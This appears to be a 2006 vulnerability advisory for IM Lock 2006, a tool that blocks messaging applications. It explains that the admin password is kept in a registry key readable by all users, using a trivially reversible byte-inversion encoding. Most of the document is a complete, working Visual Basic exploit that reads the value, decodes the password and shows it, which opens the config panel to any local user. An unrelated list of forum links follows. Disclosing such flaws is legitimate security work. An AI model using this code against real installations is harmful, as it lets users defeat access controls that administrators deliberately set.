IM Lock 2006 - Insecure Registry Permission Vulnerability




Application: IM Lock 2006
Vendor: www.comvigo.com
Corporation: Comvigo, Inc.
Version: Latest: (2 March 2006) - Home Edition, Enterprise & Professional
Description: IM Lock 2006 discloses passwords to local users.


Background:
===========
Security Auditing & Management software, IM Lock controls and blocks access to
Instant Messaging and peer to peer services that waste time and that can infect
computers with viruses. Blocks all popular services: MSN Messenger, Yahoo Messenger,
ICQ, AIM, Skype, eMule, iTunes, ... We use several algorithms to detect and lock
applications, working portion of IM Lock is virtually invisible to the computer user.


Vulnerability:
==============
Encrypted password is stored in the registry, this key is readable by non-privileged users
on the system, so by decoding password, a malicious user could gain access of config panel.


Exploit:
========

' ############################################################################
' IM Lock 2006 - Local Password Encryption Weakness Exploit by fRoGGz
' Versions: Home Edition, Enterprise & Professional
' Application: IM Lock 2006
' Distributor : Comvigo, Inc.
' Link: http://www.comvigo.com
' Vulnerable Description: IM Lock 2006 discloses passwords to local users.
'
' Discovered & Coded by fRoGGz
' Credits to: SecuBox Labs - shadock.secubox.com
'
' ############################################################################

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
(ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal lpReserved As Long, _
lpType As Long, _
lpData As Any, _
lpcbData As Long) As Long

Dim i As Integer
Dim GetCrypt, Decrypt As String

Public Function GrabBDR(hKey As Long, strPath As String, strValue As String) As String
Dim keyhand As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
Dim sBuffer As String

r = RegOpenKey(hKey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)

If lValueType = 1 Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
GrabBDR = Left$(strBuf, intZeroPos - 1)
End If
End If
lResult = RegCloseKey(hKey)
End If
End Function

Private Sub Form_Load()
GetCrypt = GrabBDR(&H80000002, "SOFTWARE\Microsoft\SvcHst\msnvs", "prc")
If GetCrypt <> "" Then
For i = 1 To Len(GetCrypt)
Decrypt = Decrypt & Chr(255 - Asc(Mid(GetCrypt, i, 1)))
Next
MsgBox "ENCRYPT PASSWORD FOUND !" & vbCrLf & "YOUR PASSWORD IS: " & Decrypt, _
vbOKOnly, "Secubox Labs - Recovery"
Else
MsgBox "NO ENCRYPT PASSWORD FOUND !", vbCritical, "IM LOCK INSTALLED ?"
End If
End
End Sub




CREDiTS:
========
fRoGGz - unsecure[at]writeme[dot]com
SecuBox Labs - secubox.shadock.net



Relevant Pages

  • Appending to a file with run-time error 54 Bad file mode
    ... Write Lock Write As #L_column" and it gives me an error saying the file ... Dim L_filename As String ... 'Open V_Param& L_filename For Append Access Read Write ...
    (microsoft.public.excel.programming)
  • Re: [PATCH] tracing/lockdep: turn lock->name into an array
    ... the "lock acquired" event is traced using a TRACE_EVENT. ... But we can't use the char * type for the name without risking to ... I guess it only happend at module unloading. ... make delayed string table freeing at module unloading. ...
    (Linux-Kernel)
  • Re: Thread Locking In Static Methods - How?
    ... the lock keyword is a terribly named keyword ... Because you use a string literal, anyone else locking the same string literal will be in contention with you as the string is interned ... What this does is cause a lock of any code location that uses the ...
    (microsoft.public.dotnet.languages.csharp)
  • Re: Floyd Rose tuning stability
    ... No string lubricants or anything like that. ... If you're able to test the pitch of the string section between the locking ... screws coming out the back that lock the strings in, ... Strat-style whammy bar. ...
    (alt.guitar)
  • Re: Thread Locking In Static Methods - How?
    ... Because you use a string literal, anyone else locking the same string literal will be in contention with you as the string is interned ... What this does is cause a lock of any code location that uses the ... > create a private static member variable for the specific method, ...
    (microsoft.public.dotnet.languages.csharp)